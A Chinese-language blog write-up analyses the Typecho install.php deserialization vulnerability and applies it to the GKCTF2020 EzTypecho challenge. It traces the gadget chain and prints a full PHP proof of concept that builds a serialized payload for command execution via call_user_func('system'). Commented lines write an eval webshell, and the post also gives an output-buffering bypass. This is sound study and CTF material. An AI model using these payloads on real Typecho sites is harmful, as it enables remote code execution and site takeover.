Typecho反序列化漏洞分析

0x00 前言

在刷buu 的时候做到一道关于 Typecho 的题 ,[GKCTF2020]EZ三剑客-EzTypecho wp 中说到可以利用Typecho 的 反序列化 poc 来打,感觉直接用现成的poc 打,方便是方便,但是并没有深入了解这个漏洞。还是想深入了解一下这个漏洞,所以本着好奇和学习的态度,遂自己动手分析了一下 Typecho 的反序列化漏洞,加深理解

0x01 环境准备

首先 git clone 到本地,然后phpstorm 打开,
在这里插入图片描述
git reset hard 到漏洞修复之前的commit
在这里插入图片描述

0x02 审计过程

首先在install.php 开头就做出了两个判断,需要finish 参数以及refer头要是本站的值
在这里插入图片描述
核心漏洞处:
在这里插入图片描述
第一行直接反序列化Typecho_Cookie::get(’__typecho_config’),没有进行任何过滤
跟进Typecho_Cookie::get() 函数
在这里插入图片描述
发现此函数是用来取cookie 中的值的,但是如果对应的值没有,如果post中设置了也会成功取出。

然后取出值之后 new 了一个Typecho_Db 对象
在这里插入图片描述
跟进Typecho_Db 构造函数:
在这里插入图片描述
发现了直接把 传入进来的 $adapterName 进行了字符串拼接操作,那么如果$adapterName 是一个对象的话,就会触发__toString()魔术方法
在这里插入图片描述
所以开始全局搜索fucntiong _toString() :
找到三个
在这里插入图片描述
看了看Config.php 中的和 Query.php 中的都不怎么好利用,
query.php:
在这里插入图片描述
config.php
在这里插入图片描述
config.php里面感觉可以利用__sleep() 函数,但是全局搜索_sleep() ,没找到__sleep()
在这里插入图片描述
Feed.php中的这个
在这里插入图片描述
还有这个:
在这里插入图片描述
发现使用了 $item[‘author’] ->screenName , 而这个 $item 是 $this->_items 里面循环出来的,是可以控制的,那我们就可以设法使用__get() 魔术方法,将$item[‘author’] 赋值为一个对象,那么对象中的screenName 不可访问的时候(私有或者不存在) 就会调用__get() 魔术方法
所以接下来全局搜索 function __get(
共找到7个 :
在这里插入图片描述
看了看其他六个好像并不能直接利用,然后Request.php 里面这个:
在这里插入图片描述
跟进$this->get
在这里插入图片描述
函数最后调用了一个_applyFilter() 函数,跟进
在这里插入图片描述

发现敏感函数 call_user_func ,而且里面的两个参数 $filter 来自 $this->_filter 循环出来的 ,$value 则是由上面get() 函数中传参进来的,也是可控的。那么我们就可以构造$\filter 为 system , $value 为 whoami ,就可以命令执行了

Poc :

<?php
class Typecho_Request
{
    private $_filter = array('system');
    private $_params = array('screenName'=>'whoami');
    //也可以直接写webshell
    //windows:
    //private $_params = array('screenName'=>'echo "<?php eval($_REQUEST[1]);"> ke.php');
    // linux:
    //private $_params = array('screenName'=>'echo "<?php eval(\$_REQUEST[1]);"> ke.php');
}
class Typecho_Feed
{
    const RSS1 = 'RSS 1.0';
    const RSS2 = 'RSS 2.0';
    const ATOM1 = 'ATOM 1.0';
    const EOL = "\n";
    const DATE_RFC822 = 'r';

    private $_baseUrl ='1';
    private $_feedUrl ='1';
    private $_lang = '1';
    private $_subTitile = '1';

    private $_type = 'RSS 2.0';
    private $_items ;

    public function __construct(){
        // private 属性 赋值new 对象的时候不能直接赋值,要使用__construct() 函数来赋值
        $this->_items = array(
            array(
                'author' => new Typecho_Request(),'title'=>'1','link'=>'1','data'=>'1332427715',
            )
        ); 
    }

}
$config['adapter'] = new Typecho_Feed();
$config['prefix'] = '1';


echo base64_encode(serialize($config));
0x03 ob_end_clean() 引起的问题

但是直接用这个poc 打 发现并没有返回结果:
在这里插入图片描述
查阅资料 :
https://www.anquanke.com/post/id/155306#h2-2中说到是因为开启了ob_start()
在这里插入图片描述
install. php 中的ob_start()

在这里插入图片描述
在Common.php中,存在一个异常捕获函数,会清空缓冲区
在这里插入图片描述

在源代码中其实就是对应:
在这里插入图片描述
把他注释掉,成功返回命令结果
在这里插入图片描述
但是实际情况中不能直接去注释源代码,所以根据 https://www.anquanke.com/post/id/155306#h2-2 里说的,我们想办法让程序直接报错,退出不进行异常捕获,比如下面这里
在这里插入图片描述
假如把$itemp[‘content’] 设置成 数组(一开始试着把$item[‘excerpt’]设置为数组,但是由于前面有一个strip_tags(),而strip_tags 处理一个数组不会报错,只会返回worring ),那么对数组进行字符串拼接操作就会报错 退出,程序就不会运行到异常捕捉那里,自然也不会进行ob_end_clean() 了,所以修改之后的payload为:

<?php
class Typecho_Request
{
    private $_filter = array('system');
    private $_params = array('screenName'=>'whoami');
    //也可以直接写webshell
    //windows:
    //private $_params = array('screenName'=>'echo "<?php eval($_REQUEST[1]);"> ke.php');
    // linux:
    //private $_params = array('screenName'=>'echo "<?php eval(\$_REQUEST[1]);"> ke.php');
}
class Typecho_Feed
{
    const RSS1 = 'RSS 1.0';
    const RSS2 = 'RSS 2.0';
    const ATOM1 = 'ATOM 1.0';
    const EOL = "\n";
    const DATE_RFC822 = 'r';

    private $_baseUrl ='1';
    private $_feedUrl ='1';
    private $_lang = '1';
    private $_subTitile = '1';

    private $_type = 'RSS 2.0';
    private $_items ;

    public function __construct(){
        // private 属性 赋值new 对象的时候不能直接赋值,要使用__construct() 函数来赋值
        $this->_items = array(
            array(
                'author' => new Typecho_Request(),'title'=>'1','link'=>'1','data'=>'1332427715',
                // 添加 content 
                'content' => array(1,2),
            )
        ); 
    }

}
$config['adapter'] = new Typecho_Feed();
$config['prefix'] = '1';


echo base64_encode(serialize($config));

成功命令执行:
在这里插入图片描述

0x04 总结:

1.在找反序列化利用链的时候,本次使用了__toString() ,__get() 魔术方法,关于找__get() 触发的地方,可以在相应的函数中搜索 ‘->’ 然后如果两边都是可控的话,就可以把左边设置为对象,后边设置为一个不存在的属性。

2.另外 assert() 在php 7 中变成了一个语言结构,在call_user_function 中就不能设置 assert 了,所以可以考虑设置 system 来执行系统命令

3.遇到异常捕捉中有ob_end_clean() 导致不能回显的话,可以设法让php 报错,不能执行到异常捕捉的地方,来实现绕过。

0x05 [GKCTF2020] EZ三剑客 EzTypecho

回到这道题目中来,题目加了一个session 判断,要求需要有session
在这里插入图片描述
我们知道在 php 中 如果上传文件的同时 带一个带上php_session_upload_progress (session.upload_progress.name 值)字段,并且cookie带上PHPSESSID (session.name 值) ,那么服务端会自动为我们创建一个名为sess_加上我们cookie中带上的PHPSESSID值 的 文件。
其实只要session.use_strict_mode 是关闭的(默认值是 0 ) ,然后在cookie 中 带上PHPSESSID(session.name 的值) 就可以实现让服务端产生session 文件。
在这里插入图片描述
结合我们利用上面的poc ,发送如下数据包,成功命令执行
在这里插入图片描述
也可以直接用上面脚本生成webshell
在这里插入图片描述
然后蚁剑连接,成功得到flag:
在这里插入图片描述

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值